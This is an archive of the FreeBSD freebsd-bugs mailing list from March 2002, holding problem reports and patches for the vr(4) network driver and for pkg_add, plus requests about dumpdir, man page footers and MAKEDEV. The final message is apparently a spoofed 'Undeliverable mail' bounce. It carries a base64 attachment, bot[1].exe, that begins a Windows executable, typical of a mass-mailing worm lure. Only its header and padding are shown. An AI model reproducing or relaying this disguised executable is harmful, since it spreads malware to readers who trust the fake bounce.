cC0+ZmxhZ3MgJiBGX0ZMQUdTKSA/ICJhbmQgZmlsZSBmbGFncyAiIDogIiIp Ow0KKwkJCUZBSUxFRDsNCiAJCQljb250aW51ZTsNCiAJCX0NCi0JCWlmIChj aG1vZChwYXRoLCBwLT5zdF9tb2RlKSkNCisJCWlmIChjaG1vZChwYXRoLCBw LT5zdF9tb2RlKSkgew0KIAkJCSh2b2lkKXByaW50ZigiJXM6IHBlcm1pc3Np b25zIG5vdCBzZXQ6ICVzXG4iLA0KIAkJCSAgICBwYXRoLCBzdHJlcnJvcihl cnJubykpOw0KKwkJCUZBSUxFRDsNCisJCX0NCiAJCWlmICgocC0+ZmxhZ3Mg JiBGX0ZMQUdTKSAmJiBwLT5zdF9mbGFncyAmJg0KLQkJICAgIGNoZmxhZ3Mo cGF0aCwgcC0+c3RfZmxhZ3MpKQ0KKwkJICAgIGNoZmxhZ3MocGF0aCwgcC0+ c3RfZmxhZ3MpKSB7DQogCQkJKHZvaWQpcHJpbnRmKCIlczogZmlsZSBmbGFn cyBub3Qgc2V0OiAlc1xuIiwNCiAJCQkgICAgcGF0aCwgc3RyZXJyb3IoZXJy bm8pKTsNCisJCQlGQUlMRUQ7DQorCQl9DQogCX0NCiB9DQo= --0-793760758-1015716649=:11778-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 15:40:15 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 274C537B41A for ; Sat, 9 Mar 2002 15:40:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g29Ne1h93611; Sat, 9 Mar 2002 15:40:01 -0800 (PST) (envelope-from gnats) Received: from host213-123-132-59.in-addr.btopenworld.com (host213-123-132-59.in-addr.btopenworld.com [213.123.132.59]) by hub.freebsd.org (Postfix) with ESMTP id 0FA4937B41D for ; Sat, 9 Mar 2002 15:31:30 -0800 (PST) Received: by host213-123-132-59.in-addr.btopenworld.com (Postfix, from userid 1001) id CEB4120C; Sat, 9 Mar 2002 23:32:53 +0000 (GMT) Message-Id: <20020309233253.CEB4120C@host213-123-132-59.in-addr.btopenworld.com> Date: Sat, 9 Mar 2002 23:32:53 +0000 (GMT) From: Dominic Marks Reply-To: Dominic Marks To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: kern/35720: Patch to vr(4) to fix network load problems Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35720 >Category: kern >Synopsis: Patch to vr(4) to fix network load problems >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 15:40:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Dominic Marks >Release: FreeBSD 4.5-STABLE i386 >Organization: Student >Environment: System: FreeBSD gallium 4.5-STABLE FreeBSD 4.5-STABLE #3: Thu Feb 28 17:34:43 GMT 2002 dom@gallium:/usr/obj/usr/src/sys/GALLIUM i386 >Description: When in a period of consistent high transfer (FTP of a 130Mb file) at a constant speed of 960kB/s the vr(4) will run out of space on the TX free list. This situation can only be resolved by bring the interface down and up manually with ifconfig. The process of using ifconfig sets the ifp->if_flags flag IFF_OACTIVE to an off state, when its on the card will not transfer any data. It is turned on when the TX free list becomes empty. >How-To-Repeat: Try doing consistent high-load transfer on a vr(4) card. I believe this problem may be only apparent in certain circumstances, specifically certain hardware configurations. >Fix: This patch resolves the situation for me. I don't believe that its the best, or cleanest solution. But I have found it corrects the problem. I have provided the patch against -CURRENT, and tested it on -STABLE. Patches are identical with the exception of VR_[UN]LOCK calls. The expansion of the TX and RX queues is probably redundant but has not had any apparent negative effects. Thanks to Diane Bruce for her hints which led to me being able to provide this solution, albeit a rather ugly one. ? if_vr.patch Index: if_vr.c =================================================================== RCS file: /home/ncvs/src/sys/pci/if_vr.c,v retrieving revision 1.46 diff -u -r1.46 if_vr.c --- if_vr.c 2001/12/14 05:56:35 1.46 +++ if_vr.c 2002/03/09 23:04:10 @@ -1307,14 +1307,23 @@ static void vr_start(ifp) struct ifnet *ifp; { + register int i; struct vr_softc *sc; struct mbuf *m_head = NULL; - struct vr_chain *cur_tx = NULL, *start_tx; - + struct vr_chain *cur_tx = NULL, *start_tx, *tx_item; + sc = ifp->if_softc; VR_LOCK(sc); if (ifp->if_flags & IFF_OACTIVE) { + for (i = 0; i < VR_TX_LIST_CNT; i++) { + tx_item = &sc->vr_cdata.vr_tx_chain[i]; + if (tx_item->vr_mbuf != NULL) { + m_freem (tx_item->vr_mbuf); + tx_item->vr_mbuf = NULL; + ifp->if_flags &= ~IFF_OACTIVE; + } + } VR_UNLOCK(sc); return; } Index: if_vrreg.h =================================================================== RCS file: /home/ncvs/src/sys/pci/if_vrreg.h,v retrieving revision 1.11 diff -u -r1.11 if_vrreg.h --- if_vrreg.h 2001/05/14 19:13:02 1.11 +++ if_vrreg.h 2002/03/09 23:04:11 @@ -342,8 +342,8 @@ #define VR_MAXFRAGS 16 -#define VR_RX_LIST_CNT 64 -#define VR_TX_LIST_CNT 128 +#define VR_RX_LIST_CNT 128 +#define VR_TX_LIST_CNT 256 #define VR_MIN_FRAMELEN 60 #define VR_FRAMELEN 1536 #define VR_RXLEN 1520 >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 20:20:14 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 207F637B400 for ; Sat, 9 Mar 2002 20:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2A4K1m48321; Sat, 9 Mar 2002 20:20:01 -0800 (PST) (envelope-from gnats) Date: Sat, 9 Mar 2002 20:20:01 -0800 (PST) Message-Id: <200203100420.g2A4K1m48321@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Mark Hannon Subject: Re: bin/35451: PATCH: pkg_add -r able to save local copy to PKG_SAVEDIR Reply-To: Mark Hannon Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35451; it has been noted by GNATS. From: Mark Hannon To: freebsd-gnats-submit@FreeBSD.org, markhannon@optushome.com.au Cc: Subject: Re: bin/35451: PATCH: pkg_add -r able to save local copy to PKG_SAVEDIR Date: Sun, 10 Mar 2002 15:12:08 +1100 This is a multi-part message in MIME format. --------------B4919200D4BC990CD7DFF7DB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cleaned up version of the patches, taking into account comments from Simon Schubert. Rgds/mark --------------B4919200D4BC990CD7DFF7DB Content-Type: text/plain; charset=us-ascii; name="pkg_install.2" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="pkg_install.2" Index: pkg_install/lib/file.c =================================================================== RCS file: /home/ncvs/src/usr.sbin/pkg_install/lib/file.c,v retrieving revision 1.40.2.9 diff -c -r1.40.2.9 file.c *** pkg_install/lib/file.c 2001/10/23 09:16:04 1.40.2.9 --- pkg_install/lib/file.c 2002/03/10 04:02:03 *************** *** 151,156 **** --- 151,160 ---- int pfd[2], pstat, r, w; char *hint; int fd; + int do_copy, fd_copy, no_bytes_written; + char *contents_name_ptr, *newline_ptr, *pkg_name_ptr, *pkg_savedir; + char contents_line[8192], pkg_long_name[FILENAME_MAX], pkg_short_name[FILENAME_MAX]; + FILE *contents_file; rp = NULL; /* Special tip that sysinstall left for us */ *************** *** 196,201 **** --- 200,225 ---- else strcpy(fname, spec); + /* + * Check if PKG_SAVEDIR is set, if so then save a copy of the + * package to that directory. During the download process the + * filename is set to package_name.tgz (sans version info). + * Subsequent to installation, when a +CONTENTS file is available, + * the package is renamed to package_name-version.tgz + */ + pkg_savedir = getenv("PKG_SAVEDIR"); + if (pkg_savedir) { + pkg_name_ptr = strrchr(fname, '/'); + if ( ( strlen(pkg_savedir) + strlen(pkg_name_ptr) + 1 ) > + sizeof(pkg_short_name) ){ + fprintf(stderr, "Error: PKG_SAVEDIR/package_name.tgz is too long!\n"); + return NULL; + } + strcpy(pkg_short_name, pkg_savedir); + strcat(pkg_short_name, "/"); + strcat(pkg_short_name, ++pkg_name_ptr); + } + if ((ftp = fetchGetURL(fname, Verbose ? "v" : NULL)) == NULL) { printf("Error: FTP Unable to get %s: %s\n", fname, fetchLastErrString); *************** *** 227,243 **** execl("/usr/bin/tar", "tar", Verbose ? "-xzvf" : "-xzf", "-", 0); _exit(2); } close(pfd[0]); for (;;) { ! if ((r = fread(buf, 1, sizeof buf, ftp)) < 1) ! break; ! if ((w = write(pfd[1], buf, r)) != r) ! break; } if (ferror(ftp)) warn("warning: error reading from server"); fclose(ftp); close(pfd[1]); if (w == -1) warn("warning: error writing to tar"); tpid = waitpid(tpid, &pstat, 0); --- 251,329 ---- execl("/usr/bin/tar", "tar", Verbose ? "-xzvf" : "-xzf", "-", 0); _exit(2); } + close(pfd[0]); + + /* + * Check if local copy is being made, if so then create a local file + * to store the download in. + */ + do_copy = 0; + if (pkg_savedir) { + if ((fd_copy = open(pkg_short_name, O_WRONLY|O_CREAT|O_EXCL|O_APPEND, + S_IRWXU|S_IRGRP|S_IROTH)) != -1 ){ + do_copy = 1; + } else { + fprintf(stderr, "warning: unable to save %s\n", pkg_short_name); + } + } + for (;;) { ! if ((r = fread(buf, 1, sizeof buf, ftp)) < 1) ! break; ! if ((w = write(pfd[1], buf, r)) != r) ! break; ! if ( do_copy && ( (no_bytes_written = write(fd_copy, buf, r) ) != r) ) ! break; } + if (ferror(ftp)) warn("warning: error reading from server"); fclose(ftp); close(pfd[1]); + + /* + * In case of a local copy having been made then open the +CONTENTS + * file, obtain the full package and version name and then rename + * the previously downloaded (shortform) package file. + */ + if ( do_copy == 1 ){ + if (no_bytes_written == -1) + warn("warning: error writing %s", pkg_short_name); + close(fd_copy); + /* Use the short form as basis for the longform package name */ + strcpy(pkg_long_name, pkg_short_name); + /* Remove the original short form package name */ + pkg_name_ptr = strrchr(pkg_long_name, '/'); + *(++pkg_name_ptr) = '\0'; + /* Open the package +CONTENTS file and look for the real pkgname */ + if ((contents_file = fopen(CONTENTS_FNAME, "r")) != NULL){ + while (fgets(contents_line, 8192, contents_file) != NULL){ + /* Look for @name in line and use to rename package file */ + if (((contents_name_ptr = strstr(contents_line, "@name ")) != NULL) && + (strlen(contents_name_ptr) > 5) && + (strlen(pkg_long_name) + strlen(contents_name_ptr) + 4) < + sizeof(pkg_long_name)){ + /* Move to start of the actual package name */ + contents_name_ptr += 6; + if ( ( newline_ptr = strrchr(contents_name_ptr, '\n') ) != NULL) + *(newline_ptr) = '\0'; /* Remove carriage return */ + /* Add packagename-version.tgz */ + strcat(pkg_long_name, contents_name_ptr); + strcat(pkg_long_name, ".tgz"); + /* Actually rename file */ + if (rename(pkg_short_name, pkg_long_name) == -1) + warn("warning: unable to rename %s -> %s", + pkg_short_name, pkg_long_name); + break; + } + } + } else { + warn("warning: unable to open +CONTENTS file to rename %s -> %s", + pkg_short_name, pkg_long_name); + } + } + if (w == -1) warn("warning: error writing to tar"); tpid = waitpid(tpid, &pstat, 0); --------------B4919200D4BC990CD7DFF7DB-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 22: 0:12 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 65C8F37B419 for ; Sat, 9 Mar 2002 22:00:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2A601b65054; Sat, 9 Mar 2002 22:00:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 73BD837B404 for ; Sat, 9 Mar 2002 21:59:17 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2A5xHv64944; Sat, 9 Mar 2002 21:59:17 -0800 (PST) (envelope-from nobody) Message-Id: <200203100559.g2A5xHv64944@freefall.freebsd.org> Date: Sat, 9 Mar 2002 21:59:17 -0800 (PST) From: Peter Kieser To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: i386/35726: Won't let me use ifconfig on the interfaces after upgrade to latest OS Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35726 >Category: i386 >Synopsis: Won't let me use ifconfig on the interfaces after upgrade to latest OS >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 22:00:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Peter Kieser >Release: 4.5-STABLE >Organization: Striked Internet Services >Environment: FreeBSD haven.digital-base.net 4.5-STABLE FreeBSD 4.5-STABLE #0: Sat Mar 9 15:13:18 PST 2002 root@haven.digital-base.net:/usr/src/sys/compile/HAVEN i386 >Description: I had 3 network cards in my FreeBSD 4.5-STABLE box before I upgraded to the latest stable, due to the SSH bug. After I upgrade, I am no longer able to use ifconfig on my network cards, or get an IP address from my DHCP server. If I take out 2 of the network cards, it will work. I have produced this exact problem on several of my boxes. >How-To-Repeat: To repeat this problem just stick more then 1 ethernet card in your computer. >Fix: None? >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 22: 0:16 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 49A0337B416 for ; Sat, 9 Mar 2002 22:00:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2A601365045; Sat, 9 Mar 2002 22:00:01 -0800 (PST) (envelope-from gnats) Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id C65AD37B400 for ; Sat, 9 Mar 2002 21:54:17 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 86161BD30 for ; Sat, 9 Mar 2002 21:54:17 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id VAA09147 for ; Sat, 9 Mar 2002 21:54:17 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id g2A5vev04253; Sat, 9 Mar 2002 21:57:40 -0800 (PST) (envelope-from swear@blarg.net) Message-Id: Date: 09 Mar 2002 21:57:40 -0800 From: "Gary W. Swearingen" Reply-To: swear@blarg.net To: FreeBSD-gnats-submit@freebsd.org Subject: conf/35725: /etc/rc should create missing "dumpdir". Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35725 >Category: conf >Synopsis: /etc/rc should create missing "dumpdir". >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 22:00:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Gary W. Swearingen >Release: FreeBSD 4.5-STABLE i386 >Organization: none >Environment: n/a ================ >Description: It is easy for one to follow the FAQ and man pages to configure for crash dumps and fail to get the dump captured because the user didn't know that the "dumpdir" needed to be pre-made, not just named in the rc.config file. I admit that it could be considered to be an implicit requirement, but many will not think of it without a warning. A good (?) and simple enhancement would be to have the code in /etc/rc which checks for a missing "dumpdir" create it after it determines that it is missing. Or maybe the savecore(8) program should create the directory that it is told to use (and the check removed from /etc/rc). (I don't know if there's a conventional way for programs to handle this situation.) In any case, the savecore(8) man page and FAQ should describe the requirement or lack thereof for the savecore(8) and the config procedure, respectively. P.S. I was lucky enough to have thought of the problem while examining /etc/rc during crash-dump configuration. I'm sure that many others will not be so lucky; hence this change-request. ================ >How-To-Repeat: n/a ================ >Fix: ? >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 23:20: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 81FD537B416 for ; Sat, 9 Mar 2002 23:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2A7K1n80762; Sat, 9 Mar 2002 23:20:01 -0800 (PST) (envelope-from gnats) Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 1670B37B400 for ; Sat, 9 Mar 2002 23:15:04 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 79E45BDC2 for ; Sat, 9 Mar 2002 23:15:00 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id XAA22841 for ; Sat, 9 Mar 2002 23:15:00 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id g2A7INh04358; Sat, 9 Mar 2002 23:18:23 -0800 (PST) (envelope-from swear@blarg.net) Message-Id: Date: 09 Mar 2002 23:18:23 -0800 From: "Gary W. Swearingen" Reply-To: swear@blarg.net To: FreeBSD-gnats-submit@freebsd.org Subject: misc/35727: man(1) program should not display (old) dates in footers. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35727 >Category: misc >Synopsis: man(1) program should not display (old) dates in footers. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 23:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Gary W. Swearingen >Release: FreeBSD 4.5-STABLE i386 >Organization: none >Environment: n/a ================ >Description: The man(1) program apparently extracts the ".Dd" date from the page source and displays it in the footer. Sometimes (when .Dd is not used?) the date in the footer is very recent, but very often, the date in the footer is very ancient, giving the (usually!) false impression to new ("potential old") users that the man pages are poorly maintained and tending to encourage the perception that FreeBSD (and other BSD OSes) are ancient and obsolecent. Marketing considerations are important and good for FreeBSD, like it or not. I propose simply removing the dates from the footer. The very few who care what that "document date" is/was may look in the source. Note that many man pages rightfully put similar old dates in a "History" section. Alternatively, and more work, some automated means to insert the man page release date (or even the last modification date -- an actually useful date) could be implemented. I know this is a low probability change-request/wish, but it's long bugged me and I thought I should put it "out there" for consideration. ================ >How-To-Repeat: n/a ================ >Fix: ? >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 23:30:12 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id C897337B417 for ; Sat, 9 Mar 2002 23:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g2A7U1A81707; Sat, 9 Mar 2002 23:30:01 -0800 (PST) (envelope-from gnats) Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id AF46537B402 for ; Sat, 9 Mar 2002 23:29:06 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 68F9CBDC2 for ; Sat, 9 Mar 2002 23:29:06 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id XAA25298 for ; Sat, 9 Mar 2002 23:29:05 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id g2A7WTx04410; Sat, 9 Mar 2002 23:32:29 -0800 (PST) (envelope-from swear@blarg.net) Message-Id: Date: 09 Mar 2002 23:32:29 -0800 From: "Gary W. Swearingen" Reply-To: swear@blarg.net To: FreeBSD-gnats-submit@freebsd.org Subject: misc/35729: MAKEDEV header refers to "worm*" devices but has no code for them. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35729 >Category: misc >Synopsis: MAKEDEV header refers to "worm*" devices but has no code for them. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 09 23:30:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Gary W. Swearingen >Release: FreeBSD 4.5-STABLE i386 >Organization: none >Environment: n/a ================ >Description: The /dev/MAKEDEV header refers to "worm*" devices but has no code for them. There IS a worm(4) man page, but it says: The worm driver appeared in FreeBSD 2.1, and disappeared in FreeBSD 3.0 ... (It sounds like someone finds it useful to have man pages for software after it has disappeared, and so I'll not file a PR on that too.) ================ >How-To-Repeat: n/a ================ >Fix: Remove the reference to the "worm*" devices. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Mar 9 23:47:23 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from www.tkural.ru (www.tkural.ru [213.59.54.3]) by hub.freebsd.org (Postfix) with ESMTP id 3753537B400 for ; Sat, 9 Mar 2002 23:45:28 -0800 (PST) Received: from Jcwepwh ([193.41.226.126]) by www.tkural.ru (8.11.1/8.11.1) with SMTP id g2A7jLA54720 for ; Sun, 10 Mar 2002 12:45:22 +0500 (YEKT) (envelope-from zadumin@tkural.ru) Date: Sun, 10 Mar 2002 12:45:22 +0500 (YEKT) Message-Id: <200203100745.g2A7jLA54720@www.tkural.ru> From: postmaster To: freebsd-bugs@FreeBSD.org Subject: Undeliverable mail--"Policy" MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=P984D99991Z Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --P984D99991Z Content-Type: text/html; Content-Transfer-Encoding: quoted-printable The following mail can't be sent to zadumin@tkural.ru:

From: freebsd-bugs@FreeBSD.org
To: zadumin@tkural.ru
Subject: Policy
The file is the original mail
--P984D99991Z Content-Type: application/octet-stream; name=bot[1].exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAACYl33g3PYTs9z2E7Pc9hOzp+ofs9j2E7Nf6h2zz/YTszTp GbPm9hOzvukAs9X2E7Pc9hKzq/YTszTpGLPO9hOzZPAVs932E7NSaWNo3PYTswAAAAAAAAAA UEUAAEwBBABcmkI8AAAAAAAAAADgAA8BCwEGAADAAAAAgAgAAAAAAHiAAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAUAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAY1gAAZAAAAABACQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGq2AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADqDwAAANAAAAAQAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAA7FMIAADgAAAAQAAAAOAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAQAkAEAAAAAAgAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 